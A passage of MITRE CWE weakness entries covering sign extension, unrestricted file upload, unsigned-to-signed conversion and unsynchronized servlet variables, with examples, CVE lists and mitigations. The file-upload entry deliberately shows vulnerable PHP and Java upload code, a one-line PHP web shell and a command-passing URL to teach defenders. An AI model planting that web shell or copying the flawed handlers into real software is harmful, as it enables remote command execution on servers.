path[255] = '\0'; /* don't want CWE-170 */
printf("Path is: %s\n", path);

}

This code first exhibits an example of CWE-839, allowing "s" to be a negative number. When the negative short "s" is converted to an unsigned integer, it becomes an extremely large positive integer. When this converted integer is used by strncpy() it will lead to a buffer overflow (CWE-119).

Observed Examples

Reference	Description
CVE-2018-10887	Chain: unexpected sign extension (CWE-194) leads to integer overflow (CWE-190), causing an out-of-bounds read (CWE-125)
CVE-1999-0234	Sign extension error produces -1 value that is treated as a command separator, enabling OS command injection.
CVE-2003-0161	Product uses "char" type for input character. When char is implemented as a signed type, ASCII value 0xFF (255), a sign extension produces a -1 value that is treated as a program-specific separator value, effectively disabling a length check and leading to a buffer overflow. This is also a multiple interpretation error.
CVE-2007-4988	chain: signed short width value in image processor is sign extended during conversion to unsigned int, which leads to integer overflow and heap-based buffer overflow.
CVE-2006-1834	chain: signedness error allows bypass of a length check; later sign extension makes exploitation easier.
CVE-2005-2753	Sign extension when manipulating Pascal-style strings leads to integer overflow and improper memory copy.

Potential Mitigations

Phase: Implementation

Avoid using signed variables if you don't need to represent negative values. When negative values are needed, perform validation after you save those values to larger data types, or before passing them to functions that are expecting unsigned values.

Memberships

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	998	SFP Secondary Cluster: Glitch in Computation
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1158	SEI CERT C Coding Standard - Guidelines 04. Integers (INT)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1416	Comprehensive Categorization: Resource Lifecycle Management

Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Notes

Relationship

Sign extension errors can lead to buffer overflows and other memory-based problems. They are also likely to be factors in other weaknesses that are not based on memory operations, but rely on numeric calculation.

Maintenance

This entry is closely associated with signed-to-unsigned conversion errors (CWE-195) and other numeric errors. These relationships need to be more closely examined within CWE.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Sign extension error
Software Fault Patterns	SFP1		Glitch in computation
CERT C Secure Coding	INT31-C	CWE More Specific	Ensure that integer conversions do not result in lost or misinterpreted data

References

[REF-161] John McDonald, Mark Dowd and Justin Schuh. "C Language Issues for Application Security". 2008-01-25. <http://www.informit.com/articles/article.aspx?p=686170&seqNum=6>.

[REF-162] Robert Seacord. "Integral Security". 2006-11-03. <https://drdobbs.com/cpp/integral-security/193501774>. URL validated: 2023-04-07.

[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.

Content History

Submissions
Submission Date	Submitter	Organization
2006-07-19 (CWE Draft 3, 2006-07-19)	CLASP
2006-07-19 (CWE Draft 3, 2006-07-19)
Modifications
Modification Date	Modifier	Organization
2008-09-08	CWE Content Team	MITRE
2008-09-08	updated Applicable_Platforms, Common_Consequences, Description, Relationships, Taxonomy_Mappings
2008-11-05	CWE Content Team	MITRE
2008-11-05	complete rewrite of the entire entry
2008-11-24	CWE Content Team	MITRE
2008-11-24	updated Common_Consequences, Demonstrative_Examples, Description, Maintenance_Notes, Name, Observed_Examples, Potential_Mitigations, References, Relationship_Notes, Relationships
2009-05-27	CWE Content Team	MITRE
2009-05-27	updated Demonstrative_Examples
2009-10-29	CWE Content Team	MITRE
2009-10-29	updated Demonstrative_Examples
2010-04-05	CWE Content Team	MITRE
2010-04-05	updated Demonstrative_Examples
2010-12-13	CWE Content Team	MITRE
2010-12-13	updated Applicable_Platforms
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated Demonstrative_Examples, Relationships
2014-07-30	CWE Content Team	MITRE
2014-07-30	updated Relationships, Taxonomy_Mappings
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated References, Taxonomy_Mappings
2019-01-03	CWE Content Team	MITRE
2019-01-03	updated Relationships
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Relationships
2020-06-25	CWE Content Team	MITRE
2020-06-25	updated Observed_Examples
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Relationships
2021-03-15	CWE Content Team	MITRE
2021-03-15	updated Potential_Mitigations, References
2023-01-31	CWE Content Team	MITRE
2023-01-31	updated Description
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated References, Relationships
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes
Previous Entry Names
Change Date	Previous Entry Name
2008-04-11	Sign Extension Error

2008-11-24	Incorrect Sign Extension

Weakness ID: 434

View customized information:

Description

The product allows the attacker to upload or transfer files of dangerous types that can be automatically processed within the product's environment.

Alternate Terms

Unrestricted File Upload:	Used in vulnerability databases and elsewhere, but it is insufficiently precise. The phrase could be interpreted as the lack of restrictions on the size or number of uploaded files, which is a resource consumption issue.

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	669	Incorrect Resource Transfer Between Spheres
PeerOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	351	Insufficient Type Distinction
PeerOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	436	Interpretation Conflict
PeerOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	430	Deployment of Wrong Handler
CanFollow	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	73	External Control of File Name or Path
CanFollow	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	183	Permissive List of Allowed Inputs
CanFollow	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	184	Incomplete List of Disallowed Inputs

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	429	Handler Errors

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	669	Incorrect Resource Transfer Between Spheres

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1011	Authorize Actors

Modes Of Introduction

Phase	Note
Implementation
Architecture and Design	OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.

Applicable Platforms

Languages

ASP.NET (Sometimes Prevalent)

PHP (Often Prevalent)

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Web Server (Sometimes Prevalent)

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability	Technical Impact: Execute Unauthorized Code or Commands Arbitrary code execution is possible if an uploaded file is interpreted and executed as code by the recipient. This is especially true for .asp and .php extensions uploaded to web servers because these file types are often treated as automatically executable, even when file system permissions do not specify execution. For example, in Unix environments, programs typically cannot run unless the execute bit is set, but PHP programs may be executed by the web server without directly invoking them on the operating system.

Likelihood Of Exploit

Medium

Demonstrative Examples

Example 1

The following code intends to allow a user to upload a picture to the web server. The HTML code that drives the form on the user end has an input field of type "file".

(good code)

Example Language: HTML

<form action="upload_picture.php" method="post" enctype="multipart/form-data">

Choose a file to upload:
<input type="file" name="filename"/>
<br/>
<input type="submit" name="submit" value="Submit"/>

</form>

Once submitted, the form above sends the file to upload_picture.php on the web server. PHP stores the file in a temporary location until it is retrieved (or discarded) by the server side code. In this example, the file is moved to a more permanent pictures/ directory.

(bad code)

Example Language: PHP

// Define the target location where the picture being

// uploaded is going to be saved.
$target = "pictures/" . basename($_FILES['uploadedfile']['name']);

// Move the uploaded file to the new location.
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target))
{

echo "The picture has been successfully uploaded.";

}
else
{

echo "There was an error uploading the picture, please try again.";

}

The problem with the above code is that there is no check regarding type of file being uploaded. Assuming that pictures/ is available in the web document root, an attacker could upload a file with the name:

(attack code)

malicious.php

Since this filename ends in ".php" it can be executed by the web server. In the contents of this uploaded file, the attacker could use:

(attack code)

Example Language: PHP

<?php

system($_GET['cmd']);

Once this file has been installed, the attacker can enter arbitrary commands to execute using a URL such as:

(attack code)

http://server.example.com/upload_dir/malicious.php?cmd=ls%20-l

which runs the "ls -l" command - or any other type of command that the attacker wants to specify.

Example 2

(good code)

Example Language: HTML

(bad code)

Example Language: Java

public class FileUploadServlet extends HttpServlet {

...

protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {

BufferedWriter bw = new BufferedWriter(new FileWriter(uploadLocation+filename, true));
for (String line; (line=br.readLine())!=null; ) {

if (line.indexOf(boundary) == -1) {

bw.write(line);
bw.newLine();
bw.flush();

}

} //end of for loop
bw.close();

} catch (IOException ex) {...}
// output successful upload response HTML page

}
// output unsuccessful upload response HTML page
else
{...}

}

...

}

This code does not perform a check on the type of the file being uploaded (CWE-434). This could allow an attacker to upload any executable file or other file with malicious code.

Observed Examples

Reference	Description
CVE-2023-5227	PHP-based FAQ management app does not check the MIME type for uploaded images
CVE-2001-0901	Web-based mail product stores ".shtml" attachments that could contain SSI
CVE-2002-1841	PHP upload does not restrict file types
CVE-2005-1868	upload and execution of .php file
CVE-2005-1881	upload file with dangerous extension
CVE-2005-0254	program does not restrict file types
CVE-2004-2262	improper type checking of uploaded files
CVE-2006-4558	Double "php" extension leaves an active php extension in the generated filename.
CVE-2006-6994	ASP program allows upload of .asp files by bypassing client-side checks
CVE-2005-3288	ASP file upload
CVE-2006-2428	ASP file upload

Potential Mitigations

Phase: Architecture and Design

Generate a new, unique filename for an uploaded file instead of using the user-supplied filename, so that no external input is used at all.[REF-422] [REF-423]

Phase: Architecture and Design

Strategy: Enforcement by Conversion

Phase: Architecture and Design

Consider storing the uploaded files outside of the web document root entirely. Then, use other mechanisms to deliver the files dynamically. [REF-423]

Phase: Implementation

Strategy: Input Validation

For example, limiting filenames to alphanumeric characters can help to restrict the introduction of unintended file extensions.

Phase: Architecture and Design

Define a very limited set of allowable extensions and only generate filenames that end in these extensions. Consider the possibility of XSS (CWE-79) before allowing .html or .htm file types.

Phase: Implementation

Strategy: Input Validation

Ensure that only one extension is used in the filename. Some web servers, including some versions of Apache, may process files based on inner extensions so that "filename.php.gif" is fed to the PHP interpreter.[REF-422] [REF-423]

Phase: Implementation

When running on a web server that supports case-insensitive filenames, perform case-insensitive evaluations of the extensions that are provided.

Phase: Architecture and Design

Phase: Implementation

Do not rely exclusively on sanity checks of file contents to ensure that the file is of the expected type and size. It may be possible for an attacker to hide code in some file segments that will still be executed by the server. For example, GIF images may contain a free-form comments field.

Phase: Implementation

Do not rely exclusively on the MIME content type or filename attribute when determining how to render a file. Validating the MIME content type and ensuring that it matches the extension is only a partial solution.

Phases: Architecture and Design; Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Phases: Architecture and Design; Operation

Strategy: Sandbox or Jail

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

Effectiveness: Limited

Weakness Ordinalities

Ordinality	Description
Primary	(where the weakness is a quality issue that might indirectly make it easier to introduce security-relevant weaknesses or make them more difficult to detect) This can be primary when there is no check at all.
Resultant	(where the weakness is a quality issue that might indirectly make it easier to introduce security-relevant weaknesses or make them more difficult to detect) This is frequently resultant when use of double extensions (e.g. ".php.gif") bypasses a sanity check.
Resultant	(where the weakness is a quality issue that might indirectly make it easier to introduce security-relevant weaknesses or make them more difficult to detect) This can be resultant from client-side enforcement (CWE-602); some products will include web script in web clients to check the filename, without verifying on the server side.

Detection Methods

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Web Application Scanner

Web Services Scanner

Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Fuzz Tester

Framework-based Fuzzer

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Focused Manual Spotcheck - Focused manual analysis of source

Manual Source Code Review (not inspections)

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Source code Weakness Analyzer

Context-configured Source Code Weakness Analyzer

Effectiveness: High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: High

Functional Areas

File Processing

Affected Resources

File or Directory

Memberships

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	714	OWASP Top Ten 2007 Category A3 - Malicious File Execution
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	801	2010 Top 25 - Insecure Interaction Between Components
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	813	OWASP Top Ten 2010 Category A4 - Insecure Direct Object References
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	864	2011 Top 25 - Insecure Interaction Between Components
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	884	CWE Cross-section
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1131	CISQ Quality Measures (2016) - Security
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1308	CISQ Quality Measures - Security
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1337	Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1340	CISQ Data Protection Measures
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1348	OWASP Top Ten 2021 Category A04:2021 - Insecure Design
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1350	Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1364	ICS Communications: Zone Boundary Failures
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1387	Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1416	Comprehensive Categorization: Resource Lifecycle Management
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1425	Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses

Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Notes

Relationship

This can have a chaining relationship with incomplete denylist / permissive allowlist errors when the product tries, but fails, to properly limit which types of files are allowed (CWE-183, CWE-184).

This can also overlap multiple interpretation errors for intermediaries, e.g. anti-virus products that do not remove or quarantine attachments with certain file extensions that can be processed by client systems.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Unrestricted File Upload
OWASP Top Ten 2007	A3	CWE More Specific	Malicious File Execution
OMG ASCSM	ASCSM-CWE-434

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
CAPEC-1	Accessing Functionality Not Properly Constrained by ACLs

References

[REF-422] Richard Stanway (r1CH). "Dynamic File Uploads, Security and You". <https://web.archive.org/web/20090208005456/http://shsc.info/FileUploadSecurity>. URL validated: 2023-04-07.

[REF-423] Johannes Ullrich. "8 Basic Rules to Implement Secure File Uploads". 2009-12-28. <https://www.sans.org/blog/8-basic-rules-to-implement-secure-file-uploads/>. URL validated: 2023-04-07.

[REF-424] Johannes Ullrich. "Top 25 Series - Rank 8 - Unrestricted Upload of Dangerous File Type". SANS Software Security Institute. 2010-02-25. <https://www.sans.org/blog/top-25-series-rank-8-unrestricted-upload-of-dangerous-file-type/>. URL validated: 2023-04-07.

[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 17, "File Uploading", Page 1068. 1st Edition. Addison Wesley. 2006.

[REF-962] Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". ASCSM-CWE-434. 2016-01. <http://www.omg.org/spec/ASCSM/1.0/>.

Content History

Submissions
Submission Date	Submitter	Organization
2006-07-19 (CWE Draft 3, 2006-07-19)	PLOVER
2006-07-19 (CWE Draft 3, 2006-07-19)
Modifications
Modification Date	Modifier	Organization
2008-07-01	Eric Dalci	Cigital
2008-07-01	updated Time_of_Introduction
2008-09-08	CWE Content Team	MITRE
2008-09-08	updated Alternate_Terms, Relationships, Other_Notes, Taxonomy_Mappings
2009-01-12	CWE Content Team	MITRE
2009-01-12	updated Relationships
2009-12-28	CWE Content Team	MITRE
2009-12-28	updated Applicable_Platforms, Functional_Areas, Likelihood_of_Exploit, Potential_Mitigations, Time_of_Introduction
2010-02-16	CWE Content Team	MITRE
2010-02-16	converted from Compound_Element to Weakness
2010-02-16	CWE Content Team	MITRE
2010-02-16	updated Alternate_Terms, Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Name, Other_Notes, Potential_Mitigations, References, Related_Attack_Patterns, Relationship_Notes, Relationships, Type, Weakness_Ordinalities
2010-04-05	CWE Content Team	MITRE
2010-04-05	updated Related_Attack_Patterns
2010-06-21	CWE Content Team	MITRE
2010-06-21	updated References, Relationship_Notes
2010-09-27	CWE Content Team	MITRE
2010-09-27	updated Potential_Mitigations
2010-12-13	CWE Content Team	MITRE
2010-12-13	updated Potential_Mitigations
2011-06-27	CWE Content Team	MITRE
2011-06-27	updated Relationships
2011-09-13	CWE Content Team	MITRE
2011-09-13	updated Potential_Mitigations, References, Relationships
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated References, Relationships
2012-10-30	CWE Content Team	MITRE
2012-10-30	updated Potential_Mitigations
2014-07-30	CWE Content Team	MITRE
2014-07-30	updated Detection_Factors
2015-12-07	CWE Content Team	MITRE
2015-12-07	updated Relationships
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Affected_Resources, Applicable_Platforms, Likelihood_of_Exploit, Modes_of_Introduction, References, Relationships, Weakness_Ordinalities
2019-01-03	CWE Content Team	MITRE
2019-01-03	updated References, Relationships, Taxonomy_Mappings
2019-06-20	CWE Content Team	MITRE
2019-06-20	updated Related_Attack_Patterns
2019-09-19	CWE Content Team	MITRE
2019-09-19	updated Relationships
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Applicable_Platforms, Potential_Mitigations
2020-06-25	CWE Content Team	MITRE
2020-06-25	updated Potential_Mitigations, Relationship_Notes
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Relationships
2021-03-15	CWE Content Team	MITRE
2021-03-15	updated Demonstrative_Examples
2021-07-20	CWE Content Team	MITRE
2021-07-20	updated Relationships
2021-10-28	CWE Content Team	MITRE
2021-10-28	updated Relationships
2022-04-28	CWE Content Team	MITRE
2022-04-28	updated Research_Gaps
2022-06-28	CWE Content Team	MITRE
2022-06-28	updated Relationships
2022-10-13	CWE Content Team	MITRE
2022-10-13	updated References
2023-01-31	CWE Content Team	MITRE
2023-01-31	updated Alternate_Terms, Description
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated References, Relationships
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes, Relationships
2024-02-29 (CWE 4.14, 2024-02-29)	CWE Content Team	MITRE
2024-02-29 (CWE 4.14, 2024-02-29)	updated Observed_Examples
Previous Entry Names
Change Date	Previous Entry Name
2010-02-16	Unrestricted File Upload

Weakness ID: 196

View customized information:

Description

Extended Description

Although less frequent an issue than signed-to-unsigned conversion, unsigned-to-signed conversion can be the perfect precursor to dangerous buffer underwrite conditions that allow attackers to move down the stack where they otherwise might not have access in a normal buffer overflow condition. Buffer underwrites occur frequently when large unsigned values are cast to signed values, and then used as indexes into a buffer or for pointer arithmetic.

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	681	Incorrect Conversion between Numeric Types
CanAlsoBe	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
CanAlsoBe	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	124	Buffer Underwrite ('Buffer Underflow')

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name
ChildOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	681	Incorrect Conversion between Numeric Types

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name
ChildOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	681	Incorrect Conversion between Numeric Types

Modes Of Introduction

Phase	Note
Implementation

Applicable Platforms

Languages

C (Undetermined Prevalence)

C++ (Undetermined Prevalence)

Common Consequences

Scope	Impact	Likelihood
Availability	Technical Impact: DoS: Crash, Exit, or Restart Incorrect sign conversions generally lead to undefined behavior, and therefore crashes.
Integrity	Technical Impact: Modify Memory If a poor cast lead to a buffer overflow or similar condition, data integrity may be affected.
Integrity Confidentiality Availability Access Control	Technical Impact: Execute Unauthorized Code or Commands; Bypass Protection Mechanism Improper signed-to-unsigned conversions without proper checking can sometimes trigger buffer overflows which can be used to execute arbitrary code. This is usually outside the scope of a program's implicit security policy.

Likelihood Of Exploit

Medium

Potential Mitigations

Phase: Requirements

Choose a language which is not subject to these casting flaws.

Phase: Architecture and Design

Design object accessor functions to implicitly check values for valid sizes. Ensure that all functions which will be used as a size are checked previous to use as a size. If the language permits, throw exceptions rather than using in-band errors.

Phase: Implementation

Error check the return values of all functions. Be aware of implicit casts made, and use unsigned variables for sizes if at all possible.

Memberships

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	998	SFP Secondary Cluster: Glitch in Computation
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1416	Comprehensive Categorization: Resource Lifecycle Management

Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Unsigned to signed conversion error
Software Fault Patterns	SFP1		Glitch in computation

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
CAPEC-92	Forced Integer Overflow

References

[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 6, "Type Conversions", Page 223. 1st Edition. Addison Wesley. 2006.

[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.

Content History

Submissions
Submission Date	Submitter	Organization
2006-07-19 (CWE Draft 3, 2006-07-19)	CLASP
2006-07-19 (CWE Draft 3, 2006-07-19)
Modifications
Modification Date	Modifier	Organization
2008-09-08	CWE Content Team	MITRE
2008-09-08	updated Applicable_Platforms, Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings
2009-05-27	CWE Content Team	MITRE
2009-05-27	updated Demonstrative_Examples
2009-10-29	CWE Content Team	MITRE
2009-10-29	updated Common_Consequences
2010-12-13	CWE Content Team	MITRE
2010-12-13	updated Other_Notes
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated References, Relationships
2012-10-30	CWE Content Team	MITRE
2012-10-30	updated Potential_Mitigations
2014-06-23	CWE Content Team	MITRE
2014-06-23	updated Demonstrative_Examples, Description, Other_Notes
2014-07-30	CWE Content Team	MITRE
2014-07-30	updated Relationships, Taxonomy_Mappings
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Relationships
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Relationships
2021-03-15	CWE Content Team	MITRE
2021-03-15	updated References
2023-01-31	CWE Content Team	MITRE
2023-01-31	updated Description
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated Relationships
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes

Weakness ID: 567

View customized information:

Description

The product does not properly synchronize shared data, such as static variables across threads, which can lead to undefined behavior and unpredictable data changes.

Extended Description

Within servlets, shared static variables are not protected from concurrent access, but servlets are multithreaded. This is a typical programming mistake in J2EE applications, since the multithreading is handled by the framework. When a shared variable can be influenced by an attacker, one thread could wind up modifying the variable to contain data that is not valid for a different thread that is also using the data within the variable.

Note that this weakness is not unique to servlets.

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	820	Missing Synchronization
CanPrecede	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	488	Exposure of Data Element to Wrong Session

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	662	Improper Synchronization

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	662	Improper Synchronization

Modes Of Introduction

Phase	Note
Implementation

Applicable Platforms

Languages

Java (Undetermined Prevalence)

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Technical Impact: Read Application Data; Modify Application Data; DoS: Instability; DoS: Crash, Exit, or Restart If the shared variable contains sensitive data, it may be manipulated or displayed in another user session. If this data is used to control the application, its value can be manipulated to cause the application to crash or perform poorly.

Demonstrative Examples

Example 1

The following code implements a basic counter for how many times the page has been accesed.

(bad code)

Example Language: Java

public static class Counter extends HttpServlet {

static int count = 0;
protected void doGet(HttpServletRequest in, HttpServletResponse out)
throws ServletException, IOException {

out.setContentType("text/plain");
PrintWriter p = out.getWriter();
count++;
p.println(count + " hits so far!");

}

Consider when two separate threads, Thread A and Thread B, concurrently handle two different requests:

Assume this is the first occurrence of doGet, so the value of count is 0.
doGet() is called within Thread A.
The execution of doGet() in Thread A continues to the point AFTER the value of the count variable is read, then incremented, but BEFORE it is saved back to count. At this stage, the incremented value is 1, but the value of count is 0.
doGet() is called within Thread B, and due to a higher thread priority, Thread B progresses to the point where the count variable is accessed (where it is still 0), incremented, and saved. After the save, count is 1.
